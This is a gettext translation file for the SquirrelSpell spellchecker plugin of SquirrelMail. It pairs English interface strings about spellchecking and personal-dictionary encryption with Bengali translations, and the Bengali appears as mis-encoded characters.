msgid ""
"SquirrelSpell was unable to decrypt your personal dictionary. This is most "
"likely due to the fact that you have changed your mailbox password. In order "
"to proceed, you will have to supply your old password so that SquirrelSpell "
"can decrypt your personal dictionary. It will be re-encrypted with your new "
"password after this. If you haven't encrypted your dictionary, then it got "
"mangled and is no longer valid. You will have to delete it and start anew. "
"This is also true if you don't remember your old password -- without it, the "
"encrypted data is no longer accessible."
msgstr ""
"SquirrelSpell āĻŦāĻžāύāĻžāύ āĻĒāϰ⧀āĻ•ā§āώāύ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž āφāĻĒāύāĻžāϰ āĻŦā§āϝāĻ•ā§āϤāĻŋāĻ—āϤ āĻ…āĻ­āĻŋāϧāĻžāύ āĻĄāĻŋāĻ•ā§ƒāĻĒā§āϟ āĻ•āϰāϤ⧇ āĻĒāĻžāϰ⧇ āύāĻŋāĨ¤ "
"āĻāϰ āϏāĻŦāϚāĻžāχāϤ⧇ āϏāĻŽā§āĻ­āĻžāĻŦā§āϝ āĻ•āĻžāϰāĻŖ āĻšāϞ āϝ⧇ āφāĻĒāύāĻŋ āφāĻĒāύāĻžāϰ āĻĄāĻžāĻ•āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāϰ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āĻ•āϰ⧇āϛ⧇āύāĨ¤ "
"āφāĻĒāύāĻžāϰ āĻĒ⧁āϰāĻžāύ⧋ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āĻĻāĻŋā§Ÿā§‡ āĻšā§‡āĻˇā§āϟāĻž āĻ•āϰ⧁āύāĨ¤ āϝāĻĻāĻŋ āĻāύāĻ•ā§ƒāĻĒāĻļāύ āωāĻĻā§āϧāĻžāϰ āĻ•āϰāĻž āϝāĻžā§Ÿ, āϤāĻžāĻšāϞ⧇ āĻāϰ āĻĒāϰ "
"āφāĻĒāύāĻžāϰ āύāϤ⧁āύ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āĻĻāĻŋā§Ÿā§‡ āĻĄāĻŋāĻ•ā§ƒāĻĒā§āϟ āĻ•āϰāĻž āĻšāĻŦ⧇āĨ¤ āφāϰ āϝāĻĻāĻŋ āĻāĻŽāύ āĻšā§Ÿ āϝ⧇ āφāĻĒāύāĻŋ āĻļāĻŦā§āĻĻāϕ⧋āώāϟāĻž āĻāύāĻ•ā§ƒāĻĒā§āϟ "
"āĻ•āϰ⧇āύ āύāĻŋ, āϤāĻžāĻšāϞ⧇ āĻāχ āĻ…āĻŦāĻ¸ā§āĻĨāĻžāϰ āϏāĻŽā§āĻ­āĻžāĻŦā§āϝ āĻ•āĻžāϰāĻŖ āĻšāϞ āĻĢāĻžāχāϞāϟāĻž āϕ⧋āύ āĻ­āĻžāĻŦ⧇ āϗ⧁āϞāĻŋā§Ÿā§‡ āϗ⧇āϛ⧇āĨ¤ āĻĢāĻžāχāϞāϟāĻž "
"āĻŽā§āϛ⧇ āύāϤ⧁āύ āĻ•āϰ⧇ āĻļ⧁āϰ⧁ āĻ•āϰāĻž āĻ›āĻžāĻĄāĻŧāĻž āϤāĻžāĻšāϞ⧇ āφāϰ āϕ⧋āύ⧋ āωāĻĒāĻžā§Ÿ āύ⧇āχāĨ¤ āφāĻĒāύāĻŋ āϝāĻĻāĻŋ āĻĒ⧁āϰāĻžāύ⧋ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āϭ⧁āϞ⧇ "
"āĻ—āĻŋā§Ÿā§‡ āĻĨāĻžāϕ⧇āύ, āϤāĻžāĻšāϞ⧇āĻ“ āĻĢāĻžāχāϞāϟāĻž āĻŽā§āϛ⧇ āύāϤ⧁āύ āĻ•āϰ⧇ āĻļ⧁āϰ⧁ āĻ•āϰāϤ⧇ āĻšāĻŦ⧇ -- āĻāϟāĻŋ āĻ›āĻžāĻĄāĻŧāĻž, āĻāύāĻ•ā§ƒāĻĒā§āϟāĻ•ā§ƒāϤ "
"āĻĢāĻžāχāϞāϟāĻž āĻĒāĻĄāĻŧāĻžāϰ āϕ⧋āύ⧋ āωāĻĒāĻžā§Ÿ āύāĻžāχāĨ¤"

msgid "Delete my dictionary and start a new one"
msgstr "āφāĻŽāĻžāϰ āύāĻŋāĻœā§‡āϰ āϤ⧈āϰ⧀ āĻļāĻŦā§āĻĻāϕ⧋āώāϟāĻž āĻŽā§āϛ⧇ āύāϤ⧁āύ āĻ•āϰ⧇ āĻļ⧁āϰ⧁ āĻ•āϰ⧁āύ"

msgid "Decrypt my dictionary with my old password:"
msgstr "āφāĻŽāĻžāϰ āĻĒ⧁āϰāĻžāύ⧋ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āĻĻāĻŋā§Ÿā§‡ āφāĻŽāĻžāϰ āĻļāĻŦā§āĻĻāϕ⧋āώ āĻĄāĻŋāĻ•ā§āϰāĻŋāĻĒā§āϟ āĻ•āϰ⧁āύ:"

msgid "Proceed"
msgstr "āĻ…āĻ—ā§āϰāϏāϰ āĻšā§‹āύ"

msgid "You must make a choice"
msgstr "āφāĻĒāύāĻžāϕ⧇ āĻāϰ āĻŽāĻ§ā§āϝ⧇āχ āĻāĻ•āϟāĻž āĻŦ⧇āρāϛ⧇ āύāĻŋāϤ⧇ āĻšāĻŦ⧇"

msgid ""
"You can either delete your dictionary or type in the old password. Not both."
msgstr ""
"āφāĻĒāύāĻŋ āĻšā§Ÿ āĻļāĻŦā§āĻĻāϕ⧋āώāϟāĻž āĻŽā§āϛ⧇ āĻĢ⧇āϞāϤ⧇ āĻĒāĻžāϰ⧇āύ, āĻ…āĻĨāĻŦāĻž āφāĻĒāύāĻžāϰ āĻĒ⧁āϰāĻžāύ⧋ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄāϟāĻŋ āĻĻāĻŋāϤ⧇ āĻĒāĻžāϰ⧇āύāĨ¤ "
"āĻĻ⧁āĻŸā§‹ āĻāĻ•āϏāĻžāĻĨ⧇ āĻ•āϰāĻž āϝāĻžāĻŦ⧇ āύāĻžāĨ¤"

msgid "This will delete your personal dictionary file. Proceed?"
msgstr "āĻāϤ⧇ āφāĻĒāύāĻžāϰ āύāĻŋāĻœā§‡āϰ āϤ⧈āϰ⧀ āĻļāĻŦā§āĻĻāϕ⧋āώāϟāĻž āĻŽā§āϛ⧇ āϝāĻžāĻŦ⧇āĨ¤ āĻ…āĻ—ā§āϰāϏāϰ āĻšāĻŦ⧇āύ āĻ•āĻŋ?"

msgid "Error Decrypting Dictionary"
msgstr "āĻļāĻŦā§āĻĻāϕ⧋āώāϟāĻŋ āĻĄāĻŋāĻ•ā§āϰāĻŋāĻĒā§āϟ āĻ•āϰāϤ⧇ āĻ—āĻŋā§Ÿā§‡ āϏāĻŽāĻ¸ā§āϝāĻž"

#, php-format
msgid "Could not run the spellchecker command (%s)."
msgstr "āĻŦāĻžāύāĻžāύāĻĒāϰ⧀āĻ•ā§āώāĻŖ āĻ•āĻŽāĻžāĻ¨ā§āĻĄ (%s) āϚāĻžāϞāĻžāϤ⧇ āĻĒāĻžāϰ⧇āύāĻŋāĨ¤"

msgid "Error while writing to pipe."
msgstr "āĻĒāĻžāχāĻĒ⧇ āϞ⧇āĻ–āĻžāϰ āϏāĻŽā§Ÿ āĻ¤ā§āϰ⧁āϟāĻŋāĨ¤"

#, php-format
msgid "Could not open temporary file '%s'."
msgstr "'%s' āĻ…āĻ¸ā§āĻĨāĻžā§Ÿā§€ āĻĢāĻžāχāϞ āϖ⧁āϞāϤ⧇ āĻĒāĻžāϰ⧇āύāĻŋāĨ¤"

#, php-format
msgid "Error while writing to temporary file '%s'."
msgstr "āĻ…āĻ¸ā§āĻĨāĻžā§Ÿā§€ āĻĢāĻžāχāϞ '%s' āĻ āϞ⧇āĻ–āĻžāϰ āϏāĻŽā§Ÿ āĻ¤ā§āϰ⧁āϟāĻŋāĨ¤"

#, php-format
msgid "I tried to execute '%s', but it returned:"
msgstr "'%s' āĻāχ āĻĒā§āϰāĻ•ā§āϰāĻŋ⧟āĻ•āϟāĻž āϚāĻžāϞāĻžāύ⧋āϰ āĻšā§‡āĻˇā§āϟāĻž āĻ•āϰāĻž āĻšāϞ, āĻ•āĻŋāĻ¨ā§āϤ⧁ āϏ⧇āϟāĻŋ āĻĢāĻŋāϰ⧇ āĻāϏ⧇āϛ⧇:"

msgid "SquirrelSpell is misconfigured."
msgstr "SquirrelSpell āĻŦāĻžāύāĻžāύ āĻĒāϰ⧀āĻ•ā§āώāĻ• āĻ­ā§‚āϞ āĻ­āĻžāĻŦ⧇ āĻ•āύāĻĢāĻŋāĻ—āĻžāϰ āĻ•āϰāĻž āĻšā§Ÿā§‡āϛ⧇āĨ¤"

msgid "Spellcheck completed. Commit changes?"
msgstr "āĻŦāĻžāύāĻžāύ āĻĒāϰ⧀āĻ•ā§āώāĻž āĻļ⧇āώāĨ¤ āϝāĻž āĻŦāĻĻāϞāĻžāύ⧋ āĻšāϞ, āϤāĻž āĻ•āĻŋ āĻĒā§āĻ°ā§Ÿā§‹āĻ— āĻ•āϰāĻž āĻšāĻŦ⧇?"

msgid "No changes were made."
msgstr "āĻ•āĻŋāϛ⧁āχ āĻŦāĻĻāϞāĻžāύ⧋ āĻšā§Ÿ āύāĻŋāĨ¤"

msgid "Now saving your personal dictionary... Please wait."
msgstr "āφāĻĒāύāĻžāϰ āύāĻŋāĻœā§‡āϰ āϤ⧈āϰ⧀ āĻļāĻŦā§āĻĻāϕ⧋āώāϟāĻŋ āϏāĻ‚āϰāĻ•ā§āώāύ āĻ•āϰāĻž āĻšāĻšā§āϛ⧇... āĻĻ⧟āĻž āĻ•āϰ⧇ āϧ⧈āĻ°ā§āϝ āϧāϰ⧁āύāĨ¤"

msgid "SquirrelSpell Results"
msgstr "āĻŦāĻžāύāĻžāύ āĻĒāϰ⧀āĻ•ā§āώāĻžāϰ āĻĢāϞāĻžāĻĢāϞ"

#, php-format
msgid "Found %s errors"
msgstr "%s āϟāĻŋ āϭ⧁āϞ āĻĒāĻžāĻ“ā§ŸāĻž āϗ⧇āϛ⧇"

msgid "Line with an error:"
msgstr "āϭ⧁āϞāϟāĻž āĻāχ āϞāĻžāχāύ⧇ āĻ›āĻŋāϞ:"

msgid "Error:"
msgstr "āϭ⧁āϞ:"

msgid "Suggestions:"
msgstr "āĻĒāϰāĻžāĻŽāĻ°ā§āĻļ:"

msgid "Suggestions"
msgstr "āĻĒāϰāĻžāĻŽāĻ°ā§āĻļ"

msgid "Change to:"
msgstr "āϤ⧇ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāĻŋāϤ:"

msgid "Occurs times:"
msgstr "āϝāϤāĻŦāĻžāϰ āĻĒāĻžāĻ“ā§ŸāĻž āϗ⧇āϛ⧇:"

msgid "Change this word"
msgstr "āĻāχ āĻļāĻŦā§āĻĻāϟāĻŋ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āĻ•āϰ⧁āύ"

msgid "Change"
msgstr "āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āĻ•āϰ⧁āύ"

msgid "Change ALL occurances of this word"
msgstr "āĻāχ āĻļāĻŦā§āĻĻāϟāĻž āϝāϤ āϜāĻžā§ŸāĻ—āĻžā§Ÿ āφāϛ⧇, āϏāĻŦ āϜāĻžā§ŸāĻ—āĻžā§Ÿ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āĻ•āϰ⧁āύ"

msgid "Change All"
msgstr "āϏāĻŦ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āĻ•āϰ⧁āύ"

msgid "Ignore this word"
msgstr "āĻļāĻŦā§āĻĻāϟāĻŋ āωāĻĒ⧇āĻ•ā§āώāĻž āĻ•āϰ⧁āύ"

msgid "Ignore"
msgstr "āωāĻĒ⧇āĻ•ā§āώāĻž āĻ•āϰ⧁āύ"

msgid "Ignore ALL occurances this word"
msgstr "āĻāχ āĻļāĻŦā§āĻĻāϟāĻŋ āϝāϤ āϜāĻžāϝāĻŧāĻ—āĻžā§Ÿ āφāϛ⧇ āϤāĻžāϰ āϏāĻŦāϗ⧁āϞ⧋āϕ⧇ āωāĻĒ⧇āĻ•ā§āώāĻž āĻ•āϰ⧁āύ"

msgid "Ignore All"
msgstr "āϏāĻŦ āωāĻĒ⧇āĻ•ā§āώāĻž āĻ•āϰ⧁āύ"

msgid "Add this word to your personal dictionary"
msgstr "āĻļāĻŦā§āĻĻāϕ⧋āώ⧇ āφāĻĒāύāĻŋ āύāĻŋāĻœā§‡ āϝ⧇āϏāĻŦ āĻļāĻŦā§āĻĻ āϝ⧋āĻ— āĻ•āϰāϛ⧇āύ, āϤāĻžāϰ āĻŽāĻ§ā§āϝ⧇ āĻāϟāĻžāĻ“ āϝ⧋āĻ— āĻ•āϰ⧁āύ"

msgid "Add to Dic"
msgstr "āĻļāĻŦā§āĻĻāϕ⧋āώ⧇ āϝ⧋āĻ— āĻ•āϰ⧁āύ"

msgid "Close and Commit"
msgstr "āĻŦāĻ¨ā§āϧ āĻ•āϰ⧁āύ āĻāĻŦāĻ‚ āϝāĻž āϝāĻž āĻŦāĻĻāϞāĻžāύ⧋ āĻšāϞ āϤāĻž āĻĒā§āĻ°ā§Ÿā§‹āĻ— āĻ•āϰ⧁āύ"

msgid "The spellcheck is not finished. Really close and commit changes?"
msgstr ""
"āĻŦāĻžāύāĻžāύ āĻĒāϰ⧀āĻ•ā§āώāĻž āĻļ⧇āώ āĻšā§Ÿ āύāĻŋāĨ¤ āφāĻĒāύāĻŋ āĻ•āĻŋ āϏāĻ¤ā§āϝāĻŋāχ āĻāĻ–āύ āĻĒāĻ°ā§āϝāĻ¨ā§āϤ āϝāĻž āϝāĻž āĻ•āϰāĻž āĻšāϞ āϤāĻž āĻĒā§āĻ°ā§Ÿā§‹āĻ— āĻ•āϰ⧇ "
"āĻŦāĻ¨ā§āϧ āĻ•āϰ⧇ āĻĻāĻŋāϤ⧇ āϚāĻžāύ?"

msgid "Close and Cancel"
msgstr "āĻŦāĻ¨ā§āϧ āĻ•āϰ⧁āύ āĻāĻŦāĻ‚ āĻŦāĻžāĻĻ āĻĻāĻŋāύ"

msgid "The spellcheck is not finished. Really close and discard changes?"
msgstr ""
"āĻŦāĻžāύāĻžāύ āĻĒāϰ⧀āĻ•ā§āώāĻž āĻļ⧇āώ āĻšā§ŸāύāĻŋāĨ¤ āφāĻĒāύāĻŋ āĻ•āĻŋ āϏāĻ¤ā§āϝāĻŋāχ āĻŦāĻ¨ā§āϧ āĻ•āϰāϤ⧇ āϚāĻžāύ āĻāĻŦāĻ‚ āϝāĻž āϝāĻž āĻŦāĻĻāϞāĻžāύ⧋ āĻšāϞ⧋ āϤāĻž "
"āĻŦāĻžāϤāĻŋāϞ āĻ•āϰ⧇ āĻĻāĻŋāϤ⧇ āϚāĻžāύ?"

msgid "No errors found"
msgstr "āϕ⧋āύ āϏāĻŽāĻ¸ā§āϝāĻž āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžā§Ÿ āύāĻŋ"

msgid "Your personal dictionary was erased."
msgstr "āφāĻĒāύāĻžāϰ āύāĻŋāĻœā§‡āϰ āϤ⧈āϰ⧀ āĻļāĻŦā§āĻĻāϕ⧋āώāϟāĻž āĻŽā§āϛ⧇ āĻ—āĻŋā§Ÿā§‡āĻ›āĻŋāϞāĨ¤"

msgid "Dictionary Erased"
msgstr "āĻļāĻŦā§āĻĻāϕ⧋āώ āĻŽā§āϛ⧇ āĻĢ⧇āϞāĻž āĻšā§Ÿā§‡āĻ›āĻŋāϞ"

msgid ""
"Your personal dictionary was erased. Please close this window and click "
"\"Check Spelling\" button again to start your spellcheck over."
msgstr ""
"āĻļāĻŦā§āĻĻāϕ⧋āώ⧇ āφāĻĒāύāĻŋ āύāĻŋāĻœā§‡ āϝāĻž āϝ⧋āĻ— āĻ•āϰ⧇āĻ›āĻŋāϞ⧇āύ, āϤāĻž āĻŽā§āϛ⧇ āϗ⧇āϛ⧇āĨ¤ āĻ…āύ⧁āĻ—ā§āϰāĻš āĻ•āϰ⧇ āĻ•āϰ⧇ āĻāχ āĻĒāĻžāϤāĻžāϟāĻŋ āĻŦāĻ¨ā§āϧ "
"āĻ•āϰ⧇ \"āĻŦāĻžāύāĻžāύ āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰ⧁āύ\"-āĻ āĻ•ā§āϞāĻŋāĻ• āĻ•āϰ⧇ āύāϤ⧁āύ āĻ•āϰ⧇ āĻŦāĻžāύāĻžāύ āĻĒāϰ⧀āĻ•ā§āώāĻž āĻļ⧁āϰ⧁ āĻ•āϰ⧁āύāĨ¤"

msgid "Close this Window"
msgstr "āĻāχ āωāχāĻ¨ā§āĻĄā§‹āϟāĻŋ āĻŦāĻ¨ā§āϧ āĻ•āϰ⧁āύ"

msgid ""
"Your personal dictionary was re-encrypted successfully. Now return to the "
"&quot;SpellChecker options&quot; menu and make your selection again."
msgstr ""
"āφāĻĒāύāĻžāϰ āύāĻŋāĻœā§‡āϰ āϤ⧈āϰ⧀ āĻļāĻŦā§āĻĻāϕ⧋āώāϟāĻž āφāĻŦāĻžāϰ āĻ āĻŋāĻ•āĻŽāϤ āĻāύāĻ•ā§ƒāĻĒāĻļāύ āĻ•āϰāĻž āϗ⧇āϛ⧇āĨ¤ āĻāĻ–āύ āĻŦāĻžāύāĻžāύ āĻĒāϰ⧀āĻ•ā§āώāĻžāϰ "
"āύāĻŋ⧟āĻŽā§‡āϰ āĻĒāĻžāϤāĻžā§Ÿ āĻĢāĻŋāϰ⧇ āϝāĻžāύ &quot;āĻŦāĻžāύāĻžāύ āĻĒāϰ⧀āĻ•ā§āώāύ⧇āϰ āĻĒāĻ›āĻ¨ā§āĻĻ&quot; āĻāĻŦāĻ‚ āύāϤ⧁āύ āĻ•āϰ⧇ āĻļ⧁āϰ⧁ āĻ•āϰ⧁āύāĨ¤"

msgid "Successful re-encryption"
msgstr "āĻĒ⧁āύāϰāĻžā§Ÿ-āĻāύāĻ•ā§āϰāĻŋāĻĒāĻļāύ āϏāĻĢāϞ"

msgid ""
"Your personal dictionary was re-encrypted successfully. Please close this "
"window and click \"Check Spelling\" button again to start your spellcheck "
"over."
msgstr ""
"āφāĻĒāύāĻžāϰ āύāĻŋāĻœā§‡āϰ āϤ⧈āϰ⧀ āĻļāĻŦā§āĻĻāϕ⧋āώāϟāĻž āφāĻŦāĻžāϰ āĻ āĻŋāĻ•āĻŽāϤ āĻāύāĻ•ā§ƒāĻĒāĻļāύ āĻ•āϰāĻž āϗ⧇āϛ⧇āĨ¤ āĻāĻ–āύ āĻāχ āĻĒāĻžāϤāĻžāϟāĻŋ āĻŦāĻ¨ā§āϧ āĻ•āϰ⧇ "
"\"āĻŦāĻžāύāĻžāύ āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰ⧁āύ\"-āĻ āĻ—āĻŋā§Ÿā§‡ āύāϤ⧁āύ āĻ•āϰ⧇ āĻŦāĻžāύāĻžāύ āĻĒāϰ⧀āĻ•ā§āώāĻž āĻļ⧁āϰ⧁ āĻ•āϰ⧁āύāĨ¤"

msgid "Dictionary re-encrypted"
msgstr "āĻļāĻŦā§āĻĻāϕ⧋āώ āĻĒ⧁āύāϰāĻžā§Ÿ-āĻāύāĻ•ā§āϰāĻŋāĻĒā§āϟāĻ•ā§ƒāϤ āĻ•āϰāĻž āĻšā§Ÿā§‡āϛ⧇"

msgid ""
"Your personal dictionary has been encrypted and is now stored in an "
"encrypted format."
msgstr ""
"āφāĻĒāύāĻžāϰ āĻŦā§āϝāĻ•ā§āϤāĻŋāĻ—āϤ āĻ…āĻ­āĻŋāϧāĻžāύāϟāĻŋ āĻāύāĻ•ā§ƒāĻĒā§āϟāϤ āĻāĻŦāĻ‚ āĻŦāĻ°ā§āϤāĻŽāĻžāύ⧇ āĻāϟāĻŋ āĻāύāĻ•ā§āϰāĻŋāĻ•ā§āϟāĻ•ā§ƒāϤ āĻŦāĻŋāĻ¨ā§āϝāĻžāϏ⧇ āϏāĻ‚āϰāĻ•ā§āώāύ āĻ•āϰāĻž "
"āĻšā§Ÿā§‡āϛ⧇āĨ¤"

msgid ""
"Your personal dictionary has been decrypted and is now stored as plain text."
msgstr ""
"āφāĻĒāύāĻžāϰ āĻŦā§āϝāĻ•ā§āϤāĻŋāĻ—āϤ āĻ…āĻ­āĻŋāϧāĻžāύāϟāĻŋ āĻāύāĻ•ā§ƒāĻĒā§āϟāϤ āĻāĻŦāĻ‚ āĻŦāĻ°ā§āϤāĻŽāĻžāύ⧇ āĻāϟāĻŋ āϏ⧁āĻŦā§‹āĻ§ā§āϝ āĻĒāĻžāĻ ā§āϝ āĻŦāĻŋāĻ¨ā§āϝāĻžāϏ⧇ āϏāĻ‚āϰāĻ•ā§āώāύ āĻ•āϰāĻž "
"āĻšā§Ÿā§‡āϛ⧇āĨ¤"

msgid "No action requested."
msgstr "āϕ⧋āύ āĻ•āĻžāϜ āĻ…āύ⧁āϰ⧋āϧ āĻ•āϰāĻž āĻšā§ŸāύāĻŋāĨ¤"

msgid "Personal Dictionary Crypto Settings"
msgstr "āĻŦā§āϝāĻ•ā§āϤāĻŋāĻ—āϤ āĻ…āĻ­āĻŋāϧāĻžāύ āĻ•ā§āϰāĻŋāĻĒāĻŸā§‹ āĻŽāĻžāύāϏāĻŽā§‚āĻš"

msgid "Personal Dictionary"
msgstr "āĻŦā§āϝāĻ•ā§āϤāĻŋāĻ—āϤ āĻ…āĻ­āĻŋāϧāĻžāύ"

msgid "No words in your personal dictionary."
msgstr "āφāĻĒāύāĻžāϰ āĻŦā§āϝāĻ•ā§āϤāĻŋāĻ—āϤ āĻ…āĻ­āĻŋāϧāĻžāύ⧇ āϕ⧋āύ āĻļāĻŦā§āĻĻ āύ⧇āχāĨ¤"

msgid "Please check any words you wish to delete from your dictionary."
msgstr "āφāĻĒāύāĻžāϰ āĻ…āĻ­āĻŋāϧāĻžāύ āĻšāϤ⧇ āϕ⧋āύ āĻļāĻŦā§āĻĻ āĻŽā§āϛ⧇ āĻĢ⧇āϞāϤ⧇ āĻ…āύ⧁āĻ—ā§āϰāĻš āĻ•āϰ⧇ āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰ⧁āύāĨ¤"

#, php-format
msgid "%s dictionary"
msgstr "%s āĻļāĻŦā§āĻĻāϕ⧋āώ"

msgid "Delete checked words"
msgstr "āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰāĻž āĻļāĻŦā§āĻĻāϗ⧁āϞ⧋ āĻŽā§āϛ⧇ āĻĢ⧇āϞ⧁āύ"

msgid "Edit your Personal Dictionary"
msgstr "āφāĻĒāύāĻžāϰ āĻŦā§āϝāĻ•ā§āϤāĻŋāĻ—āϤ āĻ…āĻ­āĻŋāϧāĻžāύ āϏāĻŽā§āĻĒāĻžāĻĻāύāĻž āĻ•āϰ⧁āύ"

msgid "Please make your selection first."
msgstr "āĻĻ⧟āĻž āĻ•āϰ⧇ āĻĒā§āϰāĻĨāĻŽā§‡ āĻ•āĻŋāϛ⧁ āĻāĻ•āϟāĻž āϚāĻŋāĻšā§āύāĻŋāϤ āĻ•āϰ⧁āύāĨ¤"

msgid ""
"This will encrypt your personal dictionary and store it in an encrypted "
"format. Proceed?"
msgstr ""
"āĻāϟāĻŋ āφāĻĒāύāĻžāϰ āύāĻŋāϜāĻ¸ā§āĻŦ āĻļāĻŦā§āĻĻāϕ⧋āώāϟāĻŋāϕ⧇ āĻāύāĻ•ā§ƒāĻĒā§āϟ āĻ•āϰāϤ⧇ āĻāĻŦāĻ‚ āĻāύāĻ•ā§ƒāĻĒā§āϟāĻ•ā§ƒāϤ āĻšāĻŋāϏ⧇āĻŦ⧇ āϏāĻ‚āϰāĻ•ā§āώāύ āĻ•āϰāĻŦ⧇āĨ¤ āφāĻĒāύāĻŋ "
"āĻ•āĻŋ āĻāϟāĻŋ āĻ•āϰāϤ⧇ āϚāĻžāύ?"

msgid ""
"This will decrypt your personal dictionary and store it in a plain text "
"format. Proceed?"
msgstr ""
"āĻāϟāĻŋ āφāĻĒāύāĻžāϰ āύāĻŋāϜāĻ¸ā§āĻŦ āĻļāĻŦā§āĻĻāϕ⧋āώāϟāĻŋāϕ⧇ āĻĄāĻŋāĻ•ā§ƒāĻĒā§āϟ āĻ•āϰāĻŦ⧇ āĻāĻŦāĻ‚ āϏ⧁āĻŦā§‹āĻ§ā§āϝ āĻĒāĻžāĻ ā§āϝ āĻŦāĻŋāĻ¨ā§āϝāĻžāϏ⧇ āϏāĻ‚āϰāĻ•ā§āώāύ āĻ•āϰāĻŦ⧇āĨ¤ "
"āφāĻĒāύāĻŋ āĻ•āĻŋ āĻāϟāĻŋ āĻ•āϰāϤ⧇ āϚāĻžāύ?"

msgid "Your personal dictionary is currently encrypted."
msgstr "āφāĻĒāύāĻžāϰ āύāĻŋāĻœā§‡āϰ āϤ⧈āϰ⧀ āĻļāĻŦā§āĻĻāϕ⧋āώāϟāĻŋ āĻŦāĻ°ā§āϤāĻŽāĻžāύ⧇ āĻāύāĻ•ā§āϰāĻŋāĻĒā§āϟāĻ•ā§ƒāϤāĨ¤"

msgid ""
"This helps protect your privacy in case the web-mail system gets compromized "
"and your personal dictionary ends up stolen. It is currently encrypted with "
"the password you use to access your mailbox, making it hard for anyone to "
"see what is stored in your personal dictionary."
msgstr ""
"āϝāĻ–āύ āĻ“ā§Ÿā§‡āĻŦ-āĻŽā§‡āχāϞ āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽ āϏāĻŽāĻā§‹āϤāĻž āĻ•āϰ⧇ āĻāĻŦāĻ‚ āφāĻĒāύāĻžāϰ āĻŦā§āϝāĻ•ā§āϤāĻŋāĻ—āϤ āĻ…āĻ­āĻŋāϧāĻžāύ āϚ⧁āϰāĻŋ āĻšā§Ÿā§‡ āϝāĻžā§Ÿ āϤāĻ–āύ "
"āφāĻĒāύāĻžāϰ āĻāĻ•āĻžāĻ¨ā§āϤāϤāĻž āϰāĻ•ā§āώāĻž āĻ•āϰāϤ⧇ āĻāϟāĻŋ āϏāĻžāĻšāĻžāĻ¯ā§āϝ āĻ•āϰ⧇āĨ¤ āĻŦāĻ°ā§āϤāĻŽāĻžāύ⧇ āĻāϟāĻŋ āφāĻĒāύāĻžāϰ āĻŦā§āϝāĻŦāĻšā§ƒāϤ āϚāĻŋāĻ āĻŋāϰāĻŦāĻžāĻ•ā§āϏ⧇āϰ "
"āĻĒā§āϰāĻŦ⧇āĻļ⧇āϰ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄā§‡āϰ āϏāĻžāĻĨ⧇ āĻāύāĻ•ā§āϰāĻĒā§āϟāĻ•ā§ƒāϤ, āĻāϟāĻŋ āϝ⧇āĻ•āĻžāϰ⧋ āϜāĻ¨ā§āϝ āφāĻĒāύāĻžāϰ āĻŦā§āϝāĻ•ā§āϤāĻŋāĻ—āϤ āĻ…āĻ­āĻŋāϧāĻžāύ⧇ "
"āϏāĻ‚āϰāĻ•ā§āώāĻŋāϤ āϜāĻŋāύāĻŋāϏ āĻĻ⧇āĻ–āĻž āĻ•āĻ āĻŋāύ āĻ•āϰ⧇ āĻĻā§‡ā§ŸāĨ¤"

msgid ""
"If you forget your password, your personal dictionary will become "
"unaccessible, since it can no longer be decrypted. If you change your "
"mailbox password, SquirrelSpell will recognize it and prompt you for your "
"old password in order to re-encrypt the dictionary with a new key."
msgstr ""
"āϝāĻĻāĻŋ āφāĻĒāύāĻŋ āφāĻĒāύāĻžāϰ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āĻ­ā§‚āϞ⧇ āϝāĻžāύ, āϤāĻŦ⧇ āφāĻĒāύāĻžāϰ āĻŦā§āϝāĻ•ā§āϤāĻŋāĻ—āϤ āĻ…āĻ­āĻŋāϧāĻžāύ⧇ āĻĒā§āϰāĻŦ⧇āĻļ āĻ•āϰāĻž āϝāĻžāĻŦ⧇ "
"āύāĻž, āĻāϟāĻŋāϕ⧇ āĻĄāĻŋāĻ•ā§āϰāĻĒā§āϟāĻ“ āĻ•āϰāĻž āϝāĻžāĻŦ⧇ āύāĻžāĨ¤ āϝāĻĻāĻŋ āφāĻĒāύāĻŋ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āĻ•āϰ⧇āύ, SquirrelSpell "
"āĻāϟāĻŋāϕ⧇ āϧāϰāϤ⧇ āĻĒāĻžāϰ⧇ āĻāĻŦāĻ‚ āφāĻĒāύāĻžāϰ āĻĒ⧁āϰāĻžāϤāύ āĻ…āĻ­āĻŋāϧāĻžāύāϕ⧇ āύāϤ⧁āύ āϕ⧀(key) āĻĻā§āĻŦāĻžāϰāĻž āĻĒ⧁āύāϰāĻžā§Ÿ-āĻāύāĻ•ā§āϰāĻŋāĻĒā§āϟ "
"āĻ•āϰāϤ⧇ āφāĻĒāύāĻžāϕ⧇ āĻ…āύ⧁āĻĒā§āϰāĻžāĻŖāĻŋāϤ āĻ•āϰ⧇āĨ¤"

msgid ""
"Please decrypt my personal dictionary and store it in a clear-text format."
msgstr ""
